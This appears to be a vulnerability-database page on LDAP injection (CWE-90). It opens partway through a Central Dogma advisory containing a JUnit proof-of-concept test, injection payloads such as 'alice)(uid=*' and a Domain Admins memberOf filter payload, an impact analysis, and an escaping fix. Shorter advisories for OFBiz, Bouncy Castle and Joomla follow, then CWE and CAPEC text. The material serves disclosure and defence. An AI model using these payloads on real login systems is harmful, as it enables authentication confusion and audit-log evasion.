javax.naming.directory.SearchControls;\nimport javax.naming.ldap.LdapContext;\n\nimport org.apache.shiro.realm.ldap.JndiLdapContextFactory;\nimport org.apache.shiro.realm.ldap.LdapContextFactory;\nimport org.junit.jupiter.api.AfterAll;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.DisplayName;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.TestMethodOrder;\nimport org.junit.jupiter.api.MethodOrderer;\nimport org.junit.jupiter.api.Order;\n\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\nimport com.unboundid.ldap.sdk.Entry;\n\n@TestMethodOrder(MethodOrderer.OrderAnnotation.class)\nclass LdapInjectionPoCTest {\n\n    private static InMemoryDirectoryServer ds;\n    private static int port;\n\n    @BeforeAll\n    static void startLdap() throws Exception {\n        final InMemoryDirectoryServerConfig cfg =\n                new InMemoryDirectoryServerConfig(\"dc=example,dc=com\");\n        cfg.addAdditionalBindCredentials(\"cn=admin,dc=example,dc=com\", \"adminpw\");\n        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(\n                \"default\", null, 0, null));\n        ds = new InMemoryDirectoryServer(cfg);\n        ds.startListening();\n        port = ds.getListenPort();\n\n        // Directory:\n        //   cn=admin  (listed first \u2192 picked by setCountLimit(1) under wildcard)\n        //   cn=alice\n        ds.add(new Entry(\n                \"cn=admin,dc=example,dc=com\",\n                \"objectClass: top\", \"objectClass: person\",\n                \"cn: admin\", \"sn: admin\",\n                \"userPassword: adminpw\"));\n        ds.add(new Entry(\n                \"cn=alice,dc=example,dc=com\",\n                \"objectClass: top\", \"objectClass: person\",\n                \"cn: alice\", \"sn: doe\",\n                \"userPassword: alicepw\"));\n    }\n\n    @AfterAll\n    static void stopLdap() {\n        if (ds != null) ds.shutDown(true);\n    }\n\n    /** Subclass that records the filter passed to ctx.search(). */\n    private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {\n        volatile String capturedFilter;\n\n        RecordingRealm() {\n            setUrl(\"ldap://localhost:\" + port);\n            setSystemUsername(\"cn=admin,dc=example,dc=com\");\n            setSystemPassword(\"adminpw\");\n            setSearchBase(\"dc=example,dc=com\");\n            setSearchFilter(\"cn={0}\");\n        }\n\n        @Override\n        protected String findUserDn(LdapContextFactory factory, String username)\n                throws javax.naming.NamingException {\n            LdapContext ctx = null;\n            try {\n                ctx = factory.getSystemLdapContext();\n                final SearchControls ctrl = new SearchControls();\n                ctrl.setCountLimit(1);\n                ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);\n\n                final java.util.regex.Pattern PH =\n                        java.util.regex.Pattern.compile(\"\\\\{0}\");\n                final String filter = PH.matcher(\"cn={0}\").replaceAll(username);\n                capturedFilter = filter;\n\n                final javax.naming.NamingEnumeration r =\n                        ctx.search(\"dc=example,dc=com\", filter, ctrl);\n                try {\n                    if (!r.hasMore()) return null;\n                    return r.next().getNameInNamespace();\n                } finally {\n                    r.close();\n                }\n            } finally {\n                org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);\n            }\n        }\n    }\n\n    private static LdapContextFactory factory() {\n        final JndiLdapContextFactory f = new JndiLdapContextFactory();\n        f.setUrl(\"ldap://localhost:\" + port);\n        f.setSystemUsername(\"cn=admin,dc=example,dc=com\");\n        f.setSystemPassword(\"adminpw\");\n        return f;\n    }\n\n    @Test @Order(1)\n    @DisplayName(\"baseline: typing \u0027alice\u0027 resolves to the alice DN\")\n    void baselineHonest() throws Exception {\n        final RecordingRealm realm = new RecordingRealm();\n        final String dn = realm.findUserDn(factory(), \"alice\");\n        assertThat(dn).isEqualTo(\"cn=alice,dc=example,dc=com\");\n        assertThat(realm.capturedFilter).isEqualTo(\"cn=alice\");\n    }\n\n    @Test @Order(2)\n    @DisplayName(\"VULN: typing \u0027*\u0027 resolves to the FIRST entry (admin), not alice\")\n    void wildcardLandsOnAdmin() throws Exception {\n        final RecordingRealm realm = new RecordingRealm();\n        final String dn = realm.findUserDn(factory(), \"*\");\n        assertThat(realm.capturedFilter).isEqualTo(\"cn=*\");\n        assertThat(dn).isEqualTo(\"cn=admin,dc=example,dc=com\");\n        // \u2192 If the attacker also has the admin password, they log in as admin\n        //   while the audit log records the typed username \"*\".\n    }\n\n    @Test @Order(3)\n    @DisplayName(\"VULN: filter structure can be broken with \u0027)\u0027 injection\")\n    void filterStructureInjection() throws Exception {\n        final RecordingRealm realm = new RecordingRealm();\n        assertThatThrownBy(() -\u003e realm.findUserDn(factory(), \"alice)(uid=*\"))\n                .hasMessageContaining(\"filter\")\n                .hasMessageContaining(\"malformed\")\n                .matches(t -\u003e t instanceof javax.naming.NamingException ||\n                              t.getCause() instanceof javax.naming.NamingException);\n        assertThat(realm.capturedFilter).isEqualTo(\"cn=alice)(uid=*\");\n    }\n\n    @Test @Order(4)\n    @DisplayName(\"VULN: AND-injection can broaden the result set silently\")\n    void andInjectionBroadens() throws Exception {\n        final RecordingRealm realm = new RecordingRealm();\n        try {\n            realm.findUserDn(factory(), \"x)(|(cn=alice)(cn=admin\");\n        } catch (Exception ignored) { /* server may reject */ }\n        assertThat(realm.capturedFilter).contains(\")(|(\");\n    }\n}\n```\n\n### Build dependency (`server-auth/shiro/build.gradle`)\n\n```groovy\ndependencies {\n    testImplementation \u0027com.unboundid:unboundid-ldapsdk:7.0.0\u0027\n}\n```\n\n### Run\n\n```bash\n./gradlew :server-auth-shiro:test \\\n  --tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \\\n  --info\n```\n\n### Expected output (VULNERABLE \u2014 current code)\n\n```\nLdapInjectionPoCTest \u003e baselineHonest            PASSED\nLdapInjectionPoCTest \u003e wildcardLandsOnAdmin       PASSED  \u2190 VULN\nLdapInjectionPoCTest \u003e filterStructureInjection   PASSED  \u2190 VULN\nLdapInjectionPoCTest \u003e andInjectionBroadens       PASSED  \u2190 VULN\n```\n\nAfter the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. `Expected captured filter to be \"cn=*\" but was \"cn=\\2a\"` \u2014 they then serve as regression tests by flipping the assertions.\n\n---\n\n## Impact\n\n**Threat model:** any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required \u2014 the attack is performed during a normal login request.\n\n1. **Authentication confusion** \u2014 In AD environments that select this realm (the canonical LINE corporate scenario), typing username `*` causes the realm to look up the first directory entry (typically `Administrator`, `admin`, or a service account in alphabetical AD ordering) and attempt bind with the attacker\u0027s password. If the attacker also possesses any valid user\u0027s password \u2014 easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise \u2014 and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username `*`.\n\n2. **Audit log evasion / compliance failure** \u2014 Payloads like `bob)(uid=alice` are logged verbatim while the LDAP filter is malformed. Central Dogma\u0027s audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of **SOX \u00a7404**, **PCI-DSS \u00a710**, **ISO 27001 A.12.4**.\n\n3. **Directory enumeration** \u2014 Wildcard payloads (`a*`, `b*`, \u2026) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists.\n\n4. **Group-membership filter injection** \u2014 Payload `a)(objectClass=*)(memberOf=CN=Domain Admins,...` (against the common AD filter `(\u0026(objectClass=user)(sAMAccountName={0}))`) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin\u0027s password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma\u0027s view of the principal is.\n\n\u003e **Scope is Changed (CVSS)** because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.\n\n---\n\n## How to fix\n\nAdd an RFC 4515 \u00a73 filter escape helper and apply it before substitution:\n\n```java\n// SearchFirstActiveDirectoryRealm.java\nstatic String encodeLdapFilter(String v) {\n    if (v == null) return \"\";\n    final StringBuilder sb = new StringBuilder(v.length());\n    for (int i = 0; i \u003c v.length(); i++) {\n        final char c = v.charAt(i);\n        switch (c) {\n            case \u0027\\\\\u0027: sb.append(\"\\\\5c\"); break;\n            case \u0027*\u0027:  sb.append(\"\\\\2a\"); break;\n            case \u0027(\u0027:  sb.append(\"\\\\28\"); break;\n            case \u0027)\u0027:  sb.append(\"\\\\29\"); break;\n            case \u0027\\0\u0027: sb.append(\"\\\\00\"); break;\n            default:   sb.append(c);\n        }\n    }\n    return sb.toString();\n}\n\n// inside findUserDn():\nfinal String escaped = encodeLdapFilter(username);\nfinal String filter =\n        searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)\n                                                   .replaceAll(Matcher.quoteReplacement(escaped))\n                             : escaped;\n```\n\n**Notes:**\n\n- `Matcher.quoteReplacement` is required because the escape produces backslashes (`\\5c`) that `Matcher.replaceAll` would otherwise interpret as backreferences.\n- DN escape (RFC 4514) is a different alphabet \u2014 not needed here because the username is used in a **filter**, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.\n- **Do not** rely on `loginNameNormalizer` for this defense \u2014 it is Unicode lowercase only.\n\n### Regression tests (drop into same test class)\n\n```java\n@Test\nvoid escapeBlocksFilterInjection() {\n    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"*\")).isEqualTo(\"\\\\2a\");\n    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"alice)(uid=*\"))\n            .isEqualTo(\"alice\\\\29\\\\28uid=\\\\2a\");\n    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"a\\\\b\")).isEqualTo(\"a\\\\5cb\");\n}\n```",
  "id": "GHSA-98q5-5qh2-7w75",
  "modified": "2026-09-11T20:43:48Z",
  "published": "2026-09-11T20:43:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/line/centraldogma/security/advisories/GHSA-98q5-5qh2-7w75"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/line/centraldogma"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion"
}

GHSA-9PFQ-C8XC-7Q54

Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32
VLAI
Details

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 24.09.06.

Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T10:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027) vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.",
  "id": "GHSA-9pfq-c8xc-7q54",
  "modified": "2026-05-19T21:32:03Z",
  "published": "2026-05-19T12:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41919"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/592czh9o69n74c036vy30fnqknocw74p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/19/27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C3FC-8QFF-9HWX

Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-04-18 01:06
VLAI
Summary
Bouncy Castle has an LDAP injection
Details

Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.

This issue affects BC-JAVA: from 1.74 before 1.84.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:02Z",
    "nvd_published_at": "2026-04-15T10:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
  "id": "GHSA-c3fc-8qff-9hwx",
  "modified": "2026-04-18T01:06:02Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle has an LDAP injection"
}

GHSA-C745-X889-V4RC

Vulnerability from github – Published: 2022-05-17 00:47 – Updated: 2025-04-20 03:45
VLAI
Details

In Joomla! before 3.8.0, inadequate escaping in the LDAP authentication plugin can result in a disclosure of a username and password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-20T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Joomla! before 3.8.0, inadequate escaping in the LDAP authentication plugin can result in a disclosure of a username and password.",
  "id": "GHSA-c745-x889-v4rc",
  "modified": "2025-04-20T03:45:35Z",
  "published": "2022-05-17T00:47:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14596"
    },
    {
      "type": "WEB",
      "url": "https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596"
    },
    {
      "type": "WEB",
      "url": "https://developer.joomla.org/security-centre/711-20170902-core-ldap-information-disclosure"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100898"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039407"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.